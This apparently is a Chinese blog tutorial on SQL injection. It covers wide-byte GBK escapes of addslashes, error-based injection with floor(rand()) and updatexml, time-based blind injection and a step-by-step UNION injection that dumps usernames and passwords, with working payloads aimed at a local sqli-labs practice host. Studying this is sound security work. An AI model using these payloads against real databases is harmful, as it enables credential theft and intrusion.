SQL注入语法

SQL注入语法

  • 前言
  • 1.SQL注入条件
  • 2.SQL 注入的分类
  • 3.常用编码转义符
  • 4.宽字节注入
  • 5.报错注入
  • 6.基于时间的盲注
  • 7.UNION查询注入
  • 知识拓展

前言

  1. 这里就不过多的说一些基本的数据库常识及增删改查了,主要针对注入的一些语句及转义语法的讲解
  2. 这个文章也会根据自身不断收集不断地更新.....
    需要记住的几个基础且重要的函数:
    数据库: information_schema
    表名字:
    information_schema.schemata 作用:数据库中的所有的 库名
    information_schema.tables 作用:数据库中的所有的 库名,表名
    information_schema.culmns 作用:数据库中的所有的 库名,表名,字段名

1.SQL注入条件

  1. 参数用户可控: 参数前端传入后端这个过程客户是可控的;
  2. 参数带入数据库查询:传入的参数拼接到SQL语句并带入数据库中进行查询;

Tips: 自Mysql5.0之后数据库中有个默认库(information_schema)需要记住该库下三张表
表名: 1.SCHEMATA 2. TABLES 3.COLUMNS

2.SQL 注入的分类

SQL 注入的分类基本上都是根据在注入的方式进行分类,大概分为以下 4 类

  1. 布尔注入:通过页面判断条件真假进行注入;
  2. 联合注入:使用union进行注入 ;
  3. 延时注入:不能根据页面返回内容判断,用条件语句查看延迟语句是否执行(即页面返回时间是否增加)来判断;
  4. 报错注入:页面会将错误sql语句结果返回到页面由此进行进一步注入;
  5. 以上是根据常见的注入方式进行分类,但是通常杢说 SQL 注入只分为字符型戒者数字型
    比如:
    数字型 1 or 1=1
    字符型 1’ or ‘1’='1

3.常用编码转义符

http://doc.chacuo.net/ascii

4.宽字节注入

原理:

Tips: addslashes() 函数的基本介绍

  • addslashes --使用反斜线引用字符串
  • 定义和用法
  • addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
  • 预定义字符是:
  • 单引号(’) 双引号(") 反斜杠(\) NULL

利用GBK编码的时候,会认为两个字符是一个汉字(前ASCII码要大于128,才能到汉字范围)
据个人可知,当数据库使用GBKaddslashes()iconv()编码格式及函数才可能存在宽字符注入漏洞

宽字节注入过程如下:

  1. %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運 #这里还有个点
  2. 用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
    当这行代码在代码层被写入时,三个字符集(客户端、连接层、结果集)都是GBK编码。
  3. 为了避免用户输入的GBK字符形成乱码,网站真正的做法是会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句
  4. %e5%5c%27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca6\’

MySQL处理sql语句原理

  1. 编码指的是字符集,有两个方面1.存储字符 2. 映射关系,也就是真正的编码,各种字符集的存储字符千篇一律,而编码却各不相同且编码才是具有实质性作用的地方
  2. 原本系统数据存储采用GBK字符集,因版本原因,升级后系统必须采用latinl字符集来存储,所以新的数据库中存储的是GBK的字符,而使用的是latinl的编码,所以这种数据只能在需要GBK的页面显示,其他字符集的地方则是乱码。

上面的UTF-8的SQL代码,但是如果转成GBK时,e98ca6\’实际是錦’

string addslashes ( string $str)

//addslashes 函数逃逸
1.把\弄没即可;
2.转义\符号,在\前面多加\符号这样就被转义了

' -> \' -> %5C%27
%df ' -> %df\' -> %df%5c%27 
#mysql认为%df是一个汉字,这样'就可以逃逸出来
#以上是转码以后的字符

5.报错注入

原理:

  1. 第一次计算可以是0也可以是1,当第一次得出来的值假设为0的话写入虚表记录则开始下一次计算,得为0到实表中,而下一次可能会计算出0或者1只要虚表两次计算的值一样则报错,所以使用 floor(rand()*2)&floor(rand(0)*2) 从而实现报错注入。
    SQL注入语法_第1张图片

报错的原理推测:
从select floor(rand(0)*2) from table 可知再一次多记录过程中floor(rand(0)*2)的值是具有定性,为011011,就是被floor(rand(0)*2)多次计算导致;

  1. group by 查询前会建立一张空>虚拟表
  2. (1) 取第一条记录则执行floor(rand(0)*2),发现结果为0,查询虚拟表,(2) 发现0的键值不存在,则floor(rand(0)*2)会被再次计算,结果为1并插入虚表 (3) 查询第二条记录时,再次计算floor(rand(0)*2)发现结果为1(第三次计算查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条查询完毕。

公式:

  1. select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x;

相关函数解释:

  1. 首先rand()函数生成0~1函数,其次使用floor函数向下取证,因为值是固定"0" 所以将rand()*2 得到的值就是不固定的"0" or “1”;

updatexml()函数用法:

使用方法:

  1. select updatexml(1,concat(0x7e,(select @@version),0x7e),0) from user_info;
  2. updatexml 第二个参数需要的是Xpath格式的字符串,输入不符合因此报错,updatexml的最大长度是32位的;
  3. select extractvalue(1,concat(0x7e,(select database()))); #或者可以查当前用户

6.基于时间的盲注

Tips: 这里更多的是讲解关于数据库的函数

  1. SLEEP(duration)函数:
    再duration参数使用给定秒数,然后返回时间会超过给定的duration 参数以上的时间说明注入成功(没有啥实质性作用只是判断select语句是否被传进去);
  2. substr()函数
    substring()和substr()
    用法如下
    SUBSTRING(str,pos)
    SUBSTRING(str FROM pos)
    SUBSTRING(str,pos,len)
    SUBSTRING(str FROM pos FOR len)
    SUBSTR(string, start, length)
    For example:

7.UNION查询注入

Tips: 可以生成UNION 注入的必备环境

  1. 各个查询必须返回相同数列。
  2. 每列中的数据类型必须在各个查询之间兼容。

首先得分析一下是否存在注入,而不是以上来就直接union注入测试,首先得明白思路所以拿无脑式进行注入

1. 测试是否存在注入: -1' 10000=10000--+
2. 联合查询猜测可注入字段位置: -1' union select 1,2,3--+
3. 判断数据库版本及当前数据库名称: version()    database()
4. 查找当前库有那些表: -1union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = '当前库名' --+
5. 查询表字段: -1union select 1,group_concat(column_name),3 from information_schema.columns where table_name = '表名'--+
6. 最终通过已知的库名表明直接查询: -1' union select 1,group_concat(username,password),3 from 库名.表名

第四点思路:
1. 其实union 用法主要用法就两个:第一个,可以同时查询两张表的数据并汇总到一个虚拟表中,前提必须字段属性一致的前提下,第二个就是,查询表的字段数,进行判断可用的字段,通过可用字段进行注入查询语句,group_concat()函数是将select出来的结果进行统一输出
2. 最终思路就是:发现注入点—联合查询猜测可用字段—通过字段进行注入查询informaiton_schema库中的tables/columns查询表与库的信息—最后获取用户密码

知识拓展

GROUP BY 用法:

MariaDB [games]> select id,name from group_by ;
+----+------+
| id | name |
+----+------+
|  1 | aa   |
|  1 | aa   |
|  1 | bb   |
|  2 | bb   |
|  2 | aa   |
|  3 | ii   |
|  3 | aa   |
+----+------+
7 rows in set (0.00 sec)
MariaDB [games]> select id,name from group_by group by id ;
+----+------+
| id | name |
+----+------+
|  1 | aa   |
|  2 | bb   |
|  3 | ii   |
+----+------+
3 rows in set (0.00 sec)

MariaDB [games]> select id,name from group_by group by name  ;
+----+------+
| id | name |
+----+------+
|  1 | aa   |
|  1 | bb   |
|  3 | ii   |
+----+------+
3 rows in set (0.00 sec

#作用是会通过group by 进行字段整合将相同的值显示一个如:"select id,name from test group by id;"

oreder by:

Oreder by作用: 可通过查询整张表的列数有多少,命令:-1’ order by 3–+

注入编码格式:

  1. 0x 是十六迚制的标志,3a 即十六迚制的 3a。 0x3a 在 ASCII 码表代表:冒号
  2. MariaDB [security]> select group_concat(username,0x3a,password) from users;
  3. http://192.168.1.63/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(username,0x3a,password),3 from users–+
  4. HTML 中换行符用
    来表示,但是我们需要转换成十六迚制 0x3C,0x68,0x72,0x2F,0x3E
  5. 将十六迚制的换行符添加到 password 字段后,注:password 后面必须添加一个逗号
    http://192.168.1.63/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(username,
    0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users–+

你可能感兴趣的:(渗透)